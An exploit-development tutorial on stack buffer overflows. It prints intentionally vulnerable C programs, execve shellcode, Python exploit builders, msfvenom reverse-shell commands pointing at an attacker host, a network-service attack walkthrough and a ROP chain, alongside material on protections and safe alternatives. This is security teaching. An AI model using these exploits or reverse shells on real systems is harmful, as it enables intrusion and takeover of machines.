Buffer Overflow
Buffer Overflow is a critical vulnerability where a program writes more data to a buffer than it can hold, overwriting adjacent memory. This can lead to arbitrary code execution, allowing attackers to gain complete control of a system. This lesson covers buffer overflow fundamentals, exploitation techniques, and modern protections.
What You'll Learn
- What is a buffer overflow
- How buffer overflows work
- Stack vs heap overflows
- Finding vulnerable functions
- Exploiting stack overflows
- Shellcode creation
- Return address manipulation
- Bad characters and encoding
- Bypassing protections (DEP, ASLR, Stack Canaries)
- Modern mitigation techniques
What is a Buffer Overflow?
The Vulnerability
Buffer: Fixed-size block of memory for storing data.
Buffer Overflow: Writing beyond buffer's boundaries, corrupting adjacent memory.
Vulnerable Code (C):
#include <string.h>
#include <stdio.h>
void vulnerable_function(char *input) {
char buffer[64];
strcpy(buffer, input); // NO LENGTH CHECK!
printf("Buffer: %s\n", buffer);
}
int main(int argc, char **argv) {
vulnerable_function(argv[1]);
return 0;
}
Problem: strcpy() doesn't check buffer size. Long input overflows buffer.
How Buffer Overflows Work
Stack Memory Layout
High Memory
│
├─ Command Line Arguments
├─ Environment Variables
│
├─ Stack
│ ├─ Return Address (RET) ← We want to control this!
│ ├─ Saved Base Pointer (EBP/RBP)
│ ├─ Local Variables
│ └─ Function Parameters
│
├─ Heap
├─ BSS (uninitialized data)
├─ Data (initialized data)
└─ Code (program instructions)
│
Low Memory
Normal Function Call
1. Arguments pushed to stack
2. Return address pushed (where to return after function)
3. Base pointer saved
4. Local variables allocated
5. Function executes
6. Return address used to jump back
Buffer Overflow Attack
1. Fill buffer with junk data
2. Overwrite saved base pointer
3. Overwrite return address with malicious address
4. When function returns, jumps to attacker's code
5. Shellcode executes with program's privileges
Example:
Normal:
Buffer: [64 bytes] | EBP | RET
"Hello" valid 0x08040000
Overflow:
Buffer: [AAAA...AAAA] | AAAA | 0x41414141
(64+ A's) overwrite controlled!
When function returns, jumps to 0x41414141 (AAAA in hex)
Vulnerable Functions
Dangerous C Functions
// No length checking:
strcpy(dest, src);
strcat(dest, src);
gets(buffer);
sprintf(buffer, format, ...);
scanf("%s", buffer);
// Better alternatives:
strncpy(dest, src, n);
strncat(dest, src, n);
fgets(buffer, size, stdin);
snprintf(buffer, size, format, ...);
Finding Buffer Overflows
Source Code Analysis
Look for:
char buffer[SIZE];
strcpy(buffer, user_input); // Dangerous!
gets(buffer); // Very dangerous!
sprintf(buffer, "%s", input); // Dangerous!
Dynamic Analysis (Fuzzing)
Crash the program:
# Send increasingly long inputs
./program "A"
./program "AA"
./program "AAAA"
./program "AAAAAAAA"
...
./program "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
# Program crashes = potential buffer overflow!
Exploitation Process
Step 1: Crash the Program
# Create pattern
python -c 'print "A" * 100' | ./vulnerable
# If crashes, vulnerable!
Step 2: Find Offset
Determine exact offset to return address:
# Create unique pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
# Or Python:
from pwn import *
pattern = cyclic(200)
# Run program with pattern
./vulnerable "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2..."
# Program crashes
# Check EIP/RIP value: 0x41336141
# Find offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41336141
# Offset: 76
# Or Python:
cyclic_find(0x41336141)
Step 3: Control EIP/RIP
# Verify control of instruction pointer
python -c 'print "A" * 76 + "BBBB"' | ./vulnerable
# Check crash: EIP = 0x42424242 (BBBB)
# We control EIP!
Step 4: Find Bad Characters
Some characters break exploits:
0x00 = NULL (string terminator)
0x0A = \n (newline)
0x0D = \r (carriage return)
0x20 = space
Test all bytes:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
# ... all bytes 0x01-0xFF
)
payload = "A" * 76 + "BBBB" + badchars
# Send payload, check which characters are truncated/mangled
Step 5: Find Return Address
Jump to shellcode location:
Options:
1. JMP ESP - Jump to stack pointer
2. Direct address (if ASLR disabled)
3. ROP gadgets (advanced)
Find JMP ESP:
# Using mona (Immunity Debugger)
!mona jmp -r esp
# Using msf-nasm_shell
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp
# Search for FFE4 in binary
objdump -d vulnerable | grep "ff e4"
Step 6: Create Shellcode
# msfvenom (Metasploit)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -b '\x00\x0a\x0d' -f python
# Options:
# -p = payload
# LHOST = attacker IP
# LPORT = attacker port
# -b = bad characters to avoid
# -f = output format (python, c, raw, etc.)
# Output:
buf = b""
buf += b"\xda\xc1\xd9\x74\x24\xf4\xb8\x7e\x5a\x4f\x29"
buf += b"\x5e\x29\xc9\xb1\x12\x31\x46\x17\x83\xee\xfc"
# ... shellcode bytes
Step 7: Build Exploit
#!/usr/bin/env python3
# Padding (to reach return address)
padding = b"A" * 76
# Return address (JMP ESP)
ret_address = b"\x10\x20\x30\x40" # Little-endian
# NOP sled (landing zone)
nop_sled = b"\x90" * 16
# Shellcode
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)
# Build exploit
exploit = padding + ret_address + nop_sled + shellcode
# Send exploit
with open("exploit.txt", "wb") as f:
f.write(exploit)
print(f"[+] Exploit written to exploit.txt ({len(exploit)} bytes)")
Shellcode Basics
What is Shellcode?
Shellcode: Small piece of code (machine instructions) that executes a command.
Common Types:
- Bind shell (listen on port)
- Reverse shell (connect back)
- Execute command
- Add user
- Download and execute
Simple Linux x86 Shellcode
; Execute /bin/sh
section .text
global _start
_start:
xor eax, eax ; Zero out EAX
push eax ; Push NULL terminator
push 0x68732f2f ; Push "//sh"
push 0x6e69622f ; Push "/bin"
mov ebx, esp ; EBX = pointer to "/bin//sh"
push eax ; Push NULL
mov edx, esp ; EDX = NULL
push ebx ; Push address of "/bin//sh"
mov ecx, esp ; ECX = pointer to args
mov al, 11 ; execve syscall number
int 0x80 ; Call kernel
Assembled:
\x31\xc0\x50\x68\x2f\x2f\x73\x68
\x68\x2f\x62\x69\x6e\x89\xe3\x50
\x53\x89\xe1\xb0\x0b\xcd\x80
Modern Protections
1. Data Execution Prevention (DEP) / NX
DEP/NX: Memory marked as non-executable.
Stack = No Execute
Heap = No Execute
Code = Execute
Bypass: Return-Oriented Programming (ROP)
2. Address Space Layout Randomization (ASLR)
ASLR: Randomizes memory addresses each execution.
Run 1: Stack at 0x7fff1234
Run 2: Stack at 0x7fff5678
Run 3: Stack at 0x7fff9abc
Bypass: Information leak to find addresses
3. Stack Canaries
Canary: Random value placed before return address.
Buffer | Canary | EBP | RET
If canary changed = overflow detected = program terminates
Bypass: Leak canary value
4. RELRO (Relocation Read-Only)
RELRO: Makes GOT (Global Offset Table) read-only.
Bypass: Requires more advanced techniques
Practical Examples
Example 1: Simple Stack Overflow
// vulnerable.c
#include <stdio.h>
#include <string.h>
void win() {
printf("You win!\n");
system("/bin/sh");
}
void vulnerable(char *input) {
char buffer[64];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
printf("Buffer at: %p\n", vulnerable);
printf("Win at: %p\n", win);
vulnerable(argv[1]);
return 0;
}
Compile:
gcc -fno-stack-protector -z execstack -no-pie vulnerable.c -o vulnerable
Exploit:
# Find offset
python -c 'print "A" * 100' | ./vulnerable
# Crashes
# Find exact offset (assume 72)
# Get win() address (assume 0x08040066)
# Build exploit
python -c 'print "A" * 72 + "\x66\x00\x04\x08"' | ./vulnerable
# Spawns shell!
Example 2: Shellcode Injection
#!/usr/bin/env python3
import struct
# Padding
padding = b"A" * 76
# Return address (to shellcode on stack)
# Assume stack at 0xbffff600
ret_addr = struct.pack("<I", 0xbffff650)
# NOP sled
nops = b"\x90" * 100
# Shellcode (execve /bin/sh)
shellcode = (
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)
exploit = padding + ret_addr + nops + shellcode
with open("payload", "wb") as f:
f.write(exploit)
print("[+] Exploit created!")
Debugging with GDB
GDB Commands
# Start GDB
gdb ./vulnerable
# Set breakpoint
break vulnerable
# Run with argument
run $(python -c 'print "A" * 100')
# Examine registers
info registers
i r
# Examine memory
x/100x $esp
x/s $esp
# Examine instructions
disassemble vulnerable
# Step through
stepi # Step one instruction
nexti # Next instruction (skip calls)
# Continue
continue
# Show backtrace
bt
GDB with pwndbg
Enhanced GDB for exploitation:
# Install pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
# Use pwndbg
gdb ./vulnerable
# Better interface with:
# - Color coding
# - Automatic info display
# - Stack visualization
# - Heap analysis
Immunity Debugger (Windows)
Using Immunity Debugger + Mona
# Mona commands
!mona config -set workingfolder C:\logs
# Find offset
!mona pattern_create 500
!mona pattern_offset 0x41336141
# Find bad characters
!mona bytearray
!mona compare -f C:\logs\bytearray.bin -a 0x01AFFB00
# Find JMP ESP
!mona jmp -r esp
# Generate ROP chain
!mona rop -m module.dll
Practical Pentesting Scenarios
Scenario 1: Buffer Overflow in Network Service
# Target: TCP service on port 9999
# Step 1: Fuzz to find crash
nc target.com 9999
AAAAAAAAAAAAAAAAAAAAAAAAA...
# Service crashes
# Step 2: Find offset
pattern = cyclic(1000)
nc target.com 9999 <<< "$pattern"
# Step 3: Control EIP
payload = "A" * offset + "\x42\x42\x42\x42"
# Step 4: Find JMP ESP
# Step 5: Generate shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b '\x00\x0a\x0d' -f python
# Step 6: Build exploit
exploit = padding + jmp_esp_addr + nops + shellcode
# Step 7: Start listener
nc -lvnp 4444
# Step 8: Send exploit
python exploit.py target.com 9999
Return-Oriented Programming (ROP)
What is ROP?
ROP: Chain together existing code snippets ("gadgets") to bypass DEP.
Gadget: Short instruction sequence ending in RET.
Gadget examples:
pop eax; ret
pop ebx; pop ecx; ret
mov [eax], ebx; ret
add esp, 0x10; ret
ROP Chain Example
# Goal: Execute system("/bin/sh")
rop_chain = [
0x08040100, # pop eax; ret
0x0805000, # address of "/bin/sh"
0x08040200, # pop ebx; ret
0x0805000, # address of "/bin/sh"
0x08040300, # system() address
]
# Each gadget executes, returns to next
Quick Reference
Exploitation Process:
1. Crash program (find vulnerability)
2. Find offset (control EIP/RIP)
3. Identify bad characters
4. Find return address (JMP ESP)
5. Generate shellcode
6. Build exploit
7. Test and refine
GDB Commands:
gdb ./program
break function
run args
info registers
x/100x $esp
disassemble function
Metasploit Tools:
pattern_create.rb -l 500
pattern_offset.rb -q 0x41414141
msfvenom -p payload LHOST=IP LPORT=PORT -b '\x00' -f python
Protections:
DEP/NX = Non-executable stack
ASLR = Randomized addresses
Canary = Stack protection
RELRO = Read-only GOT
Resources
Practice
- OverTheWire: Narnia (buffer overflow challenges)
- HackTheBox
- TryHackMe: Buffer Overflow Prep
- Exploit Education: Phoenix
- DVWA
Tools
- GDB + pwndbg/gef (Linux debugging)
- Immunity Debugger (Windows)
- Metasploit (exploitation framework)
- pwntools (Python library)
- ROPgadget (ROP chain generator)
Next Steps
- Master GDB for debugging
- Practice on CTF challenges
- Learn assembly language (x86/x64)
- Study ROP techniques for bypassing DEP
- Understand ASLR bypasses
Buffer overflows are foundational to exploit development. Master these concepts for both offensive and defensive security!
"Buffer overflow: Because 64 bytes should be enough for anyone... right?"